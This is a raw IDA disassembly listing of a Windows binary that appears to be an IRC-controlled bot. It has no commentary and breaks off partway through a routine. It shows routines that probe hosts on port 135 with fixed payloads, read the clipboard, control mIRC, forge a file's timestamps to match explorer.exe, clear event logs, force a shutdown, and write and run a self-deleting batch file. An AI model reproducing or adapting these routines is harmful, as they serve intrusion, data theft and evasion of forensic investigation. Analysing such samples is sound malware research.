		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: .packed:0040DFD7p
					; .packed:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA24	; inet_addr
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA64	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9E4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_43937C
		push	esi
		call	dword_4CBA34	; send
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC	; recv
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C8
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393E4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA7C	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; sub_410BFD+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; sub_415E4B+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_427094	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_427164	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB18C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9B4	; OpenClipboard
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9D4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	dword_42716C	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_427168	; GlobalUnlock
		call	dword_4CBA38	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9F0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_427178	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_427174	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA40	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA40	; SendMessageA
		push	ebx
		call	dword_427170	; UnmapViewOfFile
		push	edi
		call	dword_427070	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: sub_401221+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBAA0	; SearchPathA
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_427180	; GetFileTime
		push	ebx
		mov	ebx, dword_427070
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_42717C	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB924	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; sub_4167A0+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAB4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4270B8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4270F0	; WriteFile
		push	edi
		call	dword_427070	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB98
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_42709C	; SetFileAttributesA


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_427184	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_427074	; CreateProcessA


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270D0	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB964	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CB974	; ClearEventLogA
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_439504


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4394DC
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394AC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4270D0	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4270C4	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_427144	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40F0F1+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439528[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_439524[esi]
		push	offset unk_439638


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA50
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43960C
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA50
		push	off_439520[eax*4]
		push	offset unk_4395E8
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
